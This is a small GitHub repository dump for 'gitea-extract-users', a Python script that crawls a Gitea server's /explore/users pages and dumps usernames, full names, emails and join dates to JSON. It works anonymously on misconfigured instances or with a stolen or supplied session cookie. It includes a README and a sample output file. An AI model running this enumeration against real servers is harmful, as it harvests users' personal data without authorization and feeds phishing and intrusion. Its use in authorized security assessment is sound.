├── .github
└── FUNDING.yml
├── example
└── GiTea_users_git.podalirius.poc_2022_Dec_20_16h51m18s.json
├── README.md
└── gitea-extract-users.py
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: p0dalirius
4 | patreon: Podalirius
--------------------------------------------------------------------------------
/example/GiTea_users_git.podalirius.poc_2022_Dec_20_16h51m18s.json:
--------------------------------------------------------------------------------
1 | {
2 | "target": "https://git.podalirius.poc",
3 | "users": [
4 | {
5 | "mail": "podalirius@podalirius.poc",
6 | "username": "Podalirius",
7 | "fullname": "Podalirius Podalirius",
8 | "joined": "Nov 05, 1605"
9 | }
10 | ]
11 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # gitea-extract-users
2 |
3 |
4 | A Python script to extract the list of users of a GiTea instance, unauthenticated or authenticated.
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | ## Features
13 |
14 | - [x] Dump all users of a remote GiTea instance, unauthenticated (misconfiguration of the instance).
15 | - [x] Dump all users of a remote GiTea instance, authenticated using `i_like_gitea` cookie in `--cookie` option.
16 | - [x] Export users and emails to a JSON file, specified by option `--outfile`.
17 |
18 | ## Usage
19 |
20 | ```
21 | $ ./gitea-extract-users.py -h
22 | Dump GiTea users via /explore/users endpoint - v1.1 - by Remi GASCOU (Podalirius)
23 |
24 | usage: gitea-extract-users.py [-h] -t TARGET [-o OUTFILE] [-c COOKIE]
25 |
26 | Dump GiTea users via /explore/users endpoint
27 |
28 | options:
29 | -h, --help show this help message and exit
30 | -t TARGET, --target TARGET
31 | IP address or hostname of the GiTea to target.
32 | -o OUTFILE, --outfile OUTFILE
33 | Output JSON file of all the found users.
34 | -c COOKIE, --cookie COOKIE
35 | i_like_gitea cookie to dump users in authenticated mode.
36 | ```
37 |
38 | ## Example output format:
39 |
40 | ```json
41 | {
42 | "target": "https://git.podalirius.poc",
43 | "users": [
44 | {
45 | "mail": "podalirius@podalirius.poc",
46 | "username": "Podalirius",
47 | "fullname": "Podalirius Podalirius",
48 | "joined": "Nov 05, 1605"
49 | }
50 | ]
51 | }
52 | ```
53 |
--------------------------------------------------------------------------------
/gitea-extract-users.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : gitea-extract-users.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 20 Dec 2022
6 |
7 |
8 | import argparse
9 | import datetime
10 | import json
11 | import sys
12 | from bs4 import BeautifulSoup
13 | import requests
14 | requests.packages.urllib3.disable_warnings()
15 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
16 | try:
17 | requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
18 | except AttributeError:
19 | pass
20 |
21 |
22 | def can_access_unauthenticated(target, cookie=None):
23 | url = target + "/explore/users"
24 |
25 | cookies = {'lang': 'en-US'}
26 | if cookie != None:
27 | cookies['i_like_gitea'] = cookie
28 |
29 | r = requests.get(url, cookies=cookies, verify=False)
30 |
31 | if r.status_code == 404:
32 | print('\x1b[1;91m[404]\x1b[0m No /explore/users found on this server.')
33 | print('\x1b[1m[\x1b[93m+\x1b[0m\x1b[1m]\x1b[0m Exiting ...')
34 | sys.exit(-1)
35 |
36 | if b"You are not allowed to view users publicly." in r.content or b"Username or Email Address" in r.content:
37 | return False
38 | else:
39 | return True
40 |
41 |
42 | def extract_gitea_users(target):
43 | data = {"target": target, "users": []}
44 |
45 | page_number = 1
46 | continue_crawling = True
47 | while continue_crawling:
48 | url = target + "/explore/users?sort=alphabetically&page=%d&q=&tab=" % page_number
49 | r = requests.get(
50 | url,
51 | cookies=cookies,
52 | verify=False
53 | )
54 |
55 | target_content = [b"No matching users found.", bytes("Aucun utilisateur correspondant n'a été trouvé.", 'UTF-8')]
56 | if any((match := substring) in r.content for substring in target_content):
57 | print('\n[+] Done processing.')
58 | continue_crawling = False
59 | else:
60 | print('\r [>] Parsing page %d (extracted %d users yet)...' % (page_number, len(data['users'])), end="")
61 |
62 | soup = BeautifulSoup(r.content, 'lxml')
63 | s = soup.find('div', attrs={'class': 'user'})
64 |
65 | if s is None:
66 | print("\n[!] Could not find users on this page.")
67 | return None
68 |
69 | for user_parser in s.find_all('div', attrs={'class': 'content'}):
70 | user = {}
71 | descr = user_parser.find('div', attrs={'class': 'description'})
72 | # Parsing mail if exists
73 | if 'mailto:' in str(descr):
74 | mail = descr.find('a')['href'].replace('mailto:', '')
75 | else:
76 | mail = ""
77 | user['mail'] = mail
78 | #
79 | user['username'] = user_parser.find('span', attrs={'class': 'header'}).find("a").text.strip()
80 | user['fullname'] = str(user_parser.find('span', attrs={'class': 'header'})).split('', 1)[1].split('', 1)[0].strip()
81 |
82 | # if 'location' in str(descr):
83 | # user['location'] = [e for e in str(user_parser).split('\n') if "location" in e]
84 | # print(user['location'])
85 | # else :
86 | # user['location'] = ""
87 | # Parsing location if exists
88 | if 'Joined on' in str(descr):
89 | joined = str(user_parser).strip().split('Joined on')[1].split('<')[0].strip()
90 | else:
91 | joined = ""
92 | user['joined'] = joined
93 | #
94 | data['users'].append(user)
95 | page_number += 1
96 |
97 | return data
98 |
99 |
100 | def parseArgs():
101 | print("Dump GiTea users via /explore/users endpoint - v1.1 - by Remi GASCOU (Podalirius)\n")
102 | parser = argparse.ArgumentParser(description="Dump GiTea users via /explore/users endpoint")
103 | parser.add_argument('-t', '--target', required=True, help='IP address or hostname of the GiTea to target.')
104 | parser.add_argument('-o', '--outfile', required=False, default=None, help='Output JSON file of all the found users.')
105 | parser.add_argument('-c', '--cookie', required=False, default=None, help='i_like_gitea cookie to dump users in authenticated mode.')
106 | return parser.parse_args()
107 |
108 |
109 | if __name__ == '__main__':
110 | options = parseArgs()
111 |
112 | options.target = options.target.rstrip("/")
113 | if not options.target.startswith(("http://", "https://")):
114 | options.target = f"https://{options.target}"
115 |
116 | print('[+] Target : %s \n' % options.target)
117 |
118 | cookies = {'lang': 'en-US'}
119 | if options.cookie is None:
120 | print('[+] Checking if /explore/users is public or not ...')
121 | vulnerable = can_access_unauthenticated(options.target)
122 | if not vulnerable:
123 | print('[-] You need to be connected to access /explore/users on this server.')
124 | print('[+] Exiting ...')
125 | else:
126 | print('[+] Target appears to be vulnerable !')
127 | else:
128 | print('[+] Trying to access /explore/users authenticated with cookie: %s=%s \n' % ("i_like_gitea", options.target))
129 | cookies['i_like_gitea'] = options.cookie
130 |
131 | data = extract_gitea_users(target=options.target)
132 |
133 | if data is not None:
134 | if options.outfile is None:
135 | domain = options.target.split('/')[2]
136 | options.outfile = 'GiTea_users_%s_%s.json' % (domain, datetime.datetime.now().strftime('%Y_%h_%d_%Hh%Mm%Ss'))
137 | print('[+] Writing results to %s' % options.outfile)
138 | f = open(options.outfile, "w")
139 | f.write(json.dumps(data, indent=4))
140 | f.close()
141 |
142 | print('[+] All done !')
143 |
--------------------------------------------------------------------------------